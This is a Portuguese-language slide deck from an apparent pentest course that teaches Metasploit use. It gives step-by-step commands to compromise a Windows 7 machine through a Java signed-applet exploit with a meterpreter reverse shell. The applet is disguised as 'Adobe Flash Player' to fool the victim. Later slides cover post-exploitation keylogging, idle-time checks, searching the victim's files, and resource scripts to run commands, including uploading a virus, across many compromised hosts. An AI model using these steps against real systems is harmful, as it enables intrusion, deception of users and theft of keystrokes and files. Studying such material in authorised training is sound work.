O que temos pra hoje?
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Temas de Hoje:
• Metasploit
• Trabalhando com variáveis globais
• O comando back
• Invadindo o Windows 7 com Java
• Trabalhando com sessões
• Pós invasão: Keylogger
• Pós invasão: IdleTime
• Pós invasão: lpwd, ls e lcd
• Pós invasão: search
• Pós invasão: Resource
Metasploit
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Metasploit: Variáveis Globais
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Para economizar tempo durante pentest, você pode definir variáveis globais dentro
msfconsole.
O comando setg armazena esses dados em arquivo e pode ser consultado diversas
vezes e aplicado quando quiser, mesmo depois de ter seu msfconsole fechado.
Exemplo de uso:
Salvar o Remote Host em variável global
setg RHOST [Link]
Salvar variável global
save
Consultar variáveis salvas
setg
Metasploit: O comando Back
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Uma vez que você terminar de trabalhar com um módulo especial, ou se selecionou
um módulo erroneamente, você pode utilizar o comando back para sair de um
determinado módulo.
Lembrete, ao sair do módulo, você perde as variáveis que não são globais.
Exemplo de uso:
Acessando um módulo incorreto
use exploit/multi/handler
Saindo do módulo
back
Metasploit: Invadindo W7 com Java
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O java de fato é uma das aplicações mais polêmicas por possuir diversas falhas de
segurança.
Além de muito útil, o java pode nos proporcionar diversas dores de cabeça,
principalmente se a aplicação não estiver atualizada.
Iremos agora efetuar a invasão em uma máquina com Windows 7 utilizando um
backdoor em Java.
Exemplo de uso:
Inicie o MSFCONSOLE
msfconsole
Utilize o exploit para criação do backdoor em Java
use exploit/multi/browser/java_signed_applet
Metasploit: Invadindo W7 com Java
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Selecione o payload para ataque de conexão reversa
set payload windows/meterpreter/reverse_tcp
Selecione o nome do Applet, isso aparecerá no cliente
set appletname Adobe_Inc
Em versões mais antigas do diálogo exibirá o valor de CERTCN na linha de "Editor".
Geralmente apresenta "desconhecido" em JVMs quando a assinatura não é
confiável.
set certcn Adobe Flash Player
Selecione o host atacante
set srvhost [Link]
Selecione a porta de conexão
set srvport 80
Metasploit: Invadindo W7 com Java
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Selecione a pasta onde irá conter temporariamente a pasta de conexão
set uripath playlist
Selecione o Localhost, que é a máquina do invador
set lhost [Link]
Selecione a porta para conexão reversa, não pode ser a porta de ataque
set lport 443
Execute o Exploit, ele entrará em modo listening
exploit
O metasploit irá te fornecer o endereço ao qual o alvo deve acessar, para isso, o
alvo deve possui o java desatualizado e não obter antivírus.
Lembre-se que o java é multi plataforma, sendo assim, esse mesmo ataque pode
ocorrer em máquinas usando Linux ou outro SO.
Metasploit: Trabalhando com sessões
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Existem casos, como o citado acima, ao qual você poderá ter um número grande de
vítimas conectadas na sua máquina, sendo assim, é importante aprender a trabalhar
com sessões.
A opção sessions é útil em casos como este.
Exemplos de uso:
Lista as sessões ativas (List)
sessions –l
Acessa a sessão desejada (Interective)
sessions –i [número da sessão]
Para sair da sessão ativa, utiliza-se o comando abaixo:
backgound
Metasploit: Pós exploração: Keylogger
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O meterpreter possui uma ferramenta fantástica que grava tudo o que o usuário
invadido digita, ele pode ser utilizado para capturar informações sigilosas.
keyscan_start – Inicia a captura de dados
keyscan_dump – Gera em tela todos os caracteres digitados
keyscan_stop – Finaliza o serviço de captura de teclas
Metasploit: Pós exploração: IdleTime
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Certas horas é importante verificar a hora que o usuário não está trabalhando na
máquina, sendo assim, é possível verificar o tempo que a máquina está sem
interação.
Para isso, no merterpreter usamos o comando idletime
Metasploit: Pós exploração: Search
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Em determinadas horas é necessário agilizar o ataque e buscar por arquivos de
nosso interesse. O meterpreter nos ajuda realizar buscas na máquina da vítima
utilizando o comando search
Exemplo de uso:
Procurando arquivos específicos:
search –f [Link]
Procurando de forma booleana:
search –f w*.sys c:\\Windows\\system32\\
Metasploit: Pós exploração: Resource
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Resource é extremamente útil quando queremos automatizar determinadas tarefas,
por exemplo:
Vamos supor que invadimos algumas máquinas e queremos executar os mesmos
comandos em todas elas, para coletar informações, subir um vírus, etc.
Inicialmente em nosso Kali, criamos um arquivo com a lista de comandos que
queremos e gravamos, por exemplo, em um arquivo chamado /root/[Link].
Em seguida, usamos esse arquivo dentro do nosso meterpreter.
Exemplo de uso:
Procurando arquivos específicos:
resource /root/[Link]
printf ("\Chega por hoje\n");
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